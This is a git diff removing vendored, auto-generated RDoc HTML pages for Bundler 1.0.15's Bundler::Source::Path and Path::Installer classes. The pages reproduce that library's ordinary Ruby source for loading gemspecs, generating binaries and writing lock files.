-					<span class="method-name">options</span><span
-						class="attribute-access-type">[R]</span>
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-				<a name="name"></a>
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-					<span class="method-name">name</span><span
-						class="attribute-access-type">[W]</span>
-				</div>
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-				<div class="method-description">
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-				<p>
-Kind of a hack, but needed for the lock file parser
-</p>
-				
-				</div>
-			</div>
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-			<div id="version-attribute-method" class="method-detail">
-				<a name="version"></a>
-				
-				<a name="version="></a>
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-				<div class="method-heading attribute-method-heading">
-					<span class="method-name">version</span><span
-						class="attribute-access-type">[RW]</span>
-				</div>
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-		</div>
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-		<!-- Methods -->
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-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="from-lock-method" class="method-detail ">
-				<a name="method-c-from_lock"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">from_lock</span><span
-						class="method-args">(options)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-					<div class="method-source-code"
-						id="from-lock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 309</span>
-309:       <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">from_lock</span>(<span class="ruby-identifier">options</span>)
-310:         <span class="ruby-identifier">new</span>(<span class="ruby-identifier">options</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-value str">&quot;path&quot;</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">options</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value str">&quot;remote&quot;</span>)))
-311:       <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-c-new"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(options)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
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-					<div class="method-source-code"
-						id="new-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 285</span>
-285:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">options</span>)
-286:         <span class="ruby-ivar">@options</span> = <span class="ruby-identifier">options</span>
-287:         <span class="ruby-ivar">@glob</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;glob&quot;</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">DEFAULT_GLOB</span>
-288: 
-289:         <span class="ruby-ivar">@allow_cached</span> = <span class="ruby-keyword kw">false</span>
-290:         <span class="ruby-ivar">@allow_remote</span> = <span class="ruby-keyword kw">false</span>
-291: 
-292:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;path&quot;</span>]
-293:           <span class="ruby-ivar">@path</span> = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;path&quot;</span>])
-294:           <span class="ruby-ivar">@path</span> = <span class="ruby-ivar">@path</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>) <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@path</span>.<span class="ruby-identifier">relative?</span>
-295:         <span class="ruby-keyword kw">end</span>
-296: 
-297:         <span class="ruby-ivar">@name</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;name&quot;</span>]
-298:         <span class="ruby-ivar">@version</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;version&quot;</span>]
-299:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			</div>
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-	
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="--method" class="method-detail method-alias">
-				<a name="method-i-%3D%3D"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">==</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
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-				<div class="method-description">
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-					
-				</div>
-
-				
-
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-				<div class="aliases">
-          Alias for: <a href="Path.html#method-i-eql%3F">eql?</a>
-				</div>
-				
-			</div>
-
-		
-			<div id="cache-method" class="method-detail ">
-				<a name="method-i-cache"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cache</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cache-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 420</span>
-420:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cache</span>(<span class="ruby-identifier">spec</span>)
-421:         <span class="ruby-keyword kw">unless</span> <span class="ruby-identifier">path</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>).<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">index</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>.<span class="ruby-identifier">to_s</span>) <span class="ruby-operator">==</span> <span class="ruby-value">0</span>
-422:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-node">&quot;  * #{spec.name} at `#{path}` will not be cached.&quot;</span>
-423:         <span class="ruby-keyword kw">end</span>
-424:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="cached--method" class="method-detail ">
-				<a name="method-i-cached%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">cached!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="cached--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 305</span>
-305:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">cached!</span>
-306:         <span class="ruby-ivar">@allow_cached</span> = <span class="ruby-keyword kw">true</span>
-307:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="eql--method" class="method-detail ">
-				<a name="method-i-eql%3F"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">eql?</span><span
-						class="method-args">(o)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="eql--source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 328</span>
-328:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">eql?</span>(<span class="ruby-identifier">o</span>)
-329:         <span class="ruby-identifier">o</span>.<span class="ruby-identifier">instance_of?</span>(<span class="ruby-constant">Path</span>) <span class="ruby-operator">&amp;&amp;</span>
-330:         <span class="ruby-identifier">path</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>) <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">path</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>) <span class="ruby-operator">&amp;&amp;</span>
-331:         <span class="ruby-identifier">version</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">o</span>.<span class="ruby-identifier">version</span>
-332:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-				<div class="aliases">
-					Also aliased as: <a href="Path.html#method-i-%3D%3D">==</a>
-				</div>
-				
-
-				
-			</div>
-
-		
-			<div id="hash-method" class="method-detail ">
-				<a name="method-i-hash"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">hash</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="hash-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 324</span>
-324:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">hash</span>
-325:         <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">class</span>.<span class="ruby-identifier">hash</span>
-326:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="install-method" class="method-detail ">
-				<a name="method-i-install"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">install</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="install-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 408</span>
-408:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">install</span>(<span class="ruby-identifier">spec</span>)
-409:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-node">&quot;Using #{spec.name} (#{spec.version}) from #{to_s} &quot;</span>
-410:         <span class="ruby-comment cmt"># Let's be honest, when we're working from a path, we can't</span>
-411:         <span class="ruby-comment cmt"># really expect native extensions to work because the whole point</span>
-412:         <span class="ruby-comment cmt"># is to just be able to modify what's in that path and go. So, let's</span>
-413:         <span class="ruby-comment cmt"># not put ourselves through the pain of actually trying to generate</span>
-414:         <span class="ruby-comment cmt"># the full gem.</span>
-415:         <span class="ruby-constant">Installer</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>).<span class="ruby-identifier">generate_bin</span>
-416:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="load-spec-files-method" class="method-detail ">
-				<a name="method-i-load_spec_files"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">load_spec_files</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="load-spec-files-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 340</span>
-340:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">load_spec_files</span>
-341:         <span class="ruby-identifier">index</span> = <span class="ruby-constant">Index</span>.<span class="ruby-identifier">new</span>
-342: 
-343:         <span class="ruby-identifier">expanded_path</span> = <span class="ruby-identifier">path</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>)
-344: 
-345:         <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span>(<span class="ruby-identifier">expanded_path</span>)
-346:           <span class="ruby-constant">Dir</span>[<span class="ruby-node">&quot;#{expanded_path}/#{@glob}&quot;</span>].<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">file</span><span class="ruby-operator">|</span>
-347:             <span class="ruby-identifier">spec</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">load_gemspec</span>(<span class="ruby-identifier">file</span>)
-348:             <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>
-349:               <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">loaded_from</span> = <span class="ruby-identifier">file</span>.<span class="ruby-identifier">to_s</span>
-350:               <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span> = <span class="ruby-keyword kw">self</span>
-351:               <span class="ruby-identifier">index</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">spec</span>
-352:             <span class="ruby-keyword kw">end</span>
-353:           <span class="ruby-keyword kw">end</span>
-354: 
-355:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">index</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-ivar">@name</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-ivar">@version</span>
-356:             <span class="ruby-identifier">index</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">new</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span>
-357:               <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span>     = <span class="ruby-ivar">@name</span>
-358:               <span class="ruby-identifier">s</span>.<span class="ruby-identifier">source</span>   = <span class="ruby-keyword kw">self</span>
-359:               <span class="ruby-identifier">s</span>.<span class="ruby-identifier">version</span>  = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Version</span>.<span class="ruby-identifier">new</span>(<span class="ruby-ivar">@version</span>)
-360:               <span class="ruby-identifier">s</span>.<span class="ruby-identifier">platform</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span>
-361:               <span class="ruby-identifier">s</span>.<span class="ruby-identifier">summary</span>  = <span class="ruby-node">&quot;Fake gemspec for #{@name}&quot;</span>
-362:               <span class="ruby-identifier">s</span>.<span class="ruby-identifier">relative_loaded_from</span> = <span class="ruby-node">&quot;#{@name}.gemspec&quot;</span>
-363:               <span class="ruby-identifier">s</span>.<span class="ruby-identifier">authors</span>  = [<span class="ruby-value str">&quot;no one&quot;</span>]
-364:               <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">expanded_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;bin&quot;</span>).<span class="ruby-identifier">exist?</span>
-365:                 <span class="ruby-identifier">binaries</span> = <span class="ruby-identifier">expanded_path</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">&quot;bin&quot;</span>).<span class="ruby-identifier">children</span>
-366:                 <span class="ruby-identifier">binaries</span>.<span class="ruby-identifier">reject!</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span>(<span class="ruby-identifier">p</span>) }
-367:                 <span class="ruby-identifier">s</span>.<span class="ruby-identifier">executables</span> = <span class="ruby-identifier">binaries</span>.<span class="ruby-identifier">map</span>{<span class="ruby-operator">|</span><span class="ruby-identifier">c</span><span class="ruby-operator">|</span> <span class="ruby-identifier">c</span>.<span class="ruby-identifier">basename</span>.<span class="ruby-identifier">to_s</span> }
-368:               <span class="ruby-keyword kw">end</span>
-369:             <span class="ruby-keyword kw">end</span>
-370:           <span class="ruby-keyword kw">end</span>
-371:         <span class="ruby-keyword kw">else</span>
-372:           <span class="ruby-identifier">raise</span> <span class="ruby-constant">PathError</span>, <span class="ruby-node">&quot;The path `#{expanded_path}` does not exist.&quot;</span>
-373:         <span class="ruby-keyword kw">end</span>
-374: 
-375:         <span class="ruby-identifier">index</span>
-376:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-local_specs"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">local_specs</span><span
-						class="method-args">()</span>
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-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 378</span>
-378:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">local_specs</span>
-379:         <span class="ruby-ivar">@local_specs</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">load_spec_files</span>
-380:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<div class="aliases">
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-					<span class="method-name">name</span><span
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-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 336</span>
-336:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">name</span>
-337:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">basename</span>(<span class="ruby-identifier">path</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>).<span class="ruby-identifier">to_s</span>)
-338:       <span class="ruby-keyword kw">end</span></pre>
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-					<span class="method-name">remote!</span><span
-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 301</span>
-301:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">remote!</span>
-302:         <span class="ruby-ivar">@allow_remote</span> = <span class="ruby-keyword kw">true</span>
-303:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				<a name="method-i-specs"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">specs</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
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-				<div class="aliases">
-          Alias for: <a href="Path.html#method-i-local_specs">local_specs</a>
-				</div>
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-			<div id="to-lock-method" class="method-detail ">
-				<a name="method-i-to_lock"></a>
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-				<div class="method-heading">
-				
-					<span class="method-name">to_lock</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-						id="to-lock-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 313</span>
-313:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_lock</span>
-314:         <span class="ruby-identifier">out</span> = <span class="ruby-value str">&quot;PATH\n&quot;</span>
-315:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;  remote: #{relative_path}\n&quot;</span>
-316:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;  glob: #{@glob}\n&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@glob</span> <span class="ruby-operator">==</span> <span class="ruby-constant">DEFAULT_GLOB</span>
-317:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-value str">&quot;  specs:\n&quot;</span>
-318:       <span class="ruby-keyword kw">end</span></pre>
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-						class="method-args">()</span>
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-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 320</span>
-320:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_s</span>
-321:         <span class="ruby-node">&quot;source at #{@path}&quot;</span>
-322:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-			<h3 class="section-header">Private Instance Methods</h3>
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-			<div id="generate-bin-method" class="method-detail ">
-				<a name="method-i-generate_bin"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">generate_bin</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="generate-bin-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 436</span>
-436:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">generate_bin</span>(<span class="ruby-identifier">spec</span>)
-437:         <span class="ruby-identifier">gem_dir</span>  = <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">full_gem_path</span>)
-438: 
-439:         <span class="ruby-comment cmt"># Some gem authors put absolute paths in their gemspec</span>
-440:         <span class="ruby-comment cmt"># and we have to save them from themselves</span>
-441:         <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">files</span> = <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">files</span>.<span class="ruby-identifier">map</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">p</span><span class="ruby-operator">|</span>
-442:           <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">directory?</span>(<span class="ruby-identifier">p</span>)
-443:           <span class="ruby-keyword kw">begin</span>
-444:             <span class="ruby-constant">Pathname</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">p</span>).<span class="ruby-identifier">relative_path_from</span>(<span class="ruby-identifier">gem_dir</span>).<span class="ruby-identifier">to_s</span>
-445:           <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">ArgumentError</span>
-446:             <span class="ruby-identifier">p</span>
-447:           <span class="ruby-keyword kw">end</span>
-448:         <span class="ruby-keyword kw">end</span>.<span class="ruby-identifier">compact</span>
-449: 
-450:         <span class="ruby-identifier">gem_file</span> = <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">gem_dir</span>){ <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Builder</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>).<span class="ruby-identifier">build</span> }
-451: 
-452:         <span class="ruby-identifier">installer</span> = <span class="ruby-constant">Installer</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-value">:env_shebang</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword kw">false</span>)
-453:         <span class="ruby-identifier">installer</span>.<span class="ruby-identifier">build_extensions</span>
-454:         <span class="ruby-identifier">installer</span>.<span class="ruby-identifier">generate_bin</span>
-455:       <span class="ruby-keyword kw">rescue</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">InvalidSpecificationException</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">e</span>
-456:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-node">&quot;\n#{spec.name} at #{spec.full_gem_path} did not have a valid gemspec.\n&quot;</span>                          <span class="ruby-value str">&quot;This prevents bundler from installing bins or native extensions, but &quot;</span>                          <span class="ruby-value str">&quot;that may not affect its functionality.&quot;</span>
-457: 
-458:         <span class="ruby-keyword kw">if</span> <span class="ruby-operator">!</span><span class="ruby-identifier">spec</span>.<span class="ruby-identifier">extensions</span>.<span class="ruby-identifier">empty?</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-operator">!</span><span class="ruby-identifier">spec</span>.<span class="ruby-identifier">email</span>.<span class="ruby-identifier">empty?</span>
-459:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-value str">&quot;If you need to use this package without installing it from a gem &quot;</span>                            <span class="ruby-node">&quot;repository, please contact #{spec.email} and ask them &quot;</span>                            <span class="ruby-value str">&quot;to modify their .gemspec so it can work with `gem build`.&quot;</span>
-460:         <span class="ruby-keyword kw">end</span>
-461: 
-462:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">warn</span> <span class="ruby-node">&quot;The validation message from Rubygems was:\n  #{e.message}&quot;</span>
-463:       <span class="ruby-keyword kw">ensure</span>
-464:         <span class="ruby-constant">Dir</span>.<span class="ruby-identifier">chdir</span>(<span class="ruby-identifier">gem_dir</span>){ <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">rm_rf</span>(<span class="ruby-identifier">gem_file</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">gem_file</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-constant">File</span>.<span class="ruby-identifier">exist?</span>(<span class="ruby-identifier">gem_file</span>) }
-465:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="relative-path-method" class="method-detail ">
-				<a name="method-i-relative_path"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">relative_path</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="relative-path-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 428</span>
-428:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">relative_path</span>
-429:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">path</span>.<span class="ruby-identifier">to_s</span>.<span class="ruby-identifier">include?</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>.<span class="ruby-identifier">to_s</span>)
-430:           <span class="ruby-keyword kw">return</span> <span class="ruby-identifier">path</span>.<span class="ruby-identifier">relative_path_from</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">root</span>)
-431:         <span class="ruby-keyword kw">end</span>
-432: 
-433:         <span class="ruby-identifier">path</span>
-434:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Path/Installer.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Path/Installer.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/Source/Path/Installer.html
+++ /dev/null
@@ -1,437 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Bundler::Source::Path::Installer</title>
-
-	<link rel="stylesheet" href="../../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../../index.html">Home</a>
-          <a href="../../../index.html#classes">Classes</a>
-          <a href="../../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../../lib/bundler/source_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/source.rb">lib/bundler/source.rb</a></li>
-					
-					</ul>
-				</div>
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-			
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-		<div id="class-metadata">
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-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link">Gem::Installer</p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-c-new">::new</a></li>
-					
-					<li><a href="#method-i-generate_bin">#generate_bin</a></li>
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-				</ul>
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-			<!-- Included Modules -->
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-		<div id="project-metadata">
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-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle.html">bundle</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
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-					<li class="file"><a href="../../../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../../../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
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-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
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-				
-					<li><a href="../../../Bundler/Definition.html">Bundler::Definition</a></li>
-				
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-				
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-		<h1 class="class">Bundler::Source::Path::Installer</h1>
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-     <span class="ruby-comment cmt"># File lib/bundler/source.rb, line 383</span>
-383:         <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">spec</span>, <span class="ruby-identifier">options</span> = {})
-384:           <span class="ruby-ivar">@spec</span>              = <span class="ruby-identifier">spec</span>
-385:           <span class="ruby-ivar">@bin_dir</span>           = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">requires_sudo?</span> <span class="ruby-operator">?</span> <span class="ruby-node">&quot;#{Bundler.tmp}/bin&quot;</span> <span class="ruby-operator">:</span> <span class="ruby-node">&quot;#{Bundler.rubygems.gem_dir}/bin&quot;</span>
-386:           <span class="ruby-ivar">@gem_dir</span>           = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">path</span>(<span class="ruby-identifier">spec</span>.<span class="ruby-identifier">full_gem_path</span>)
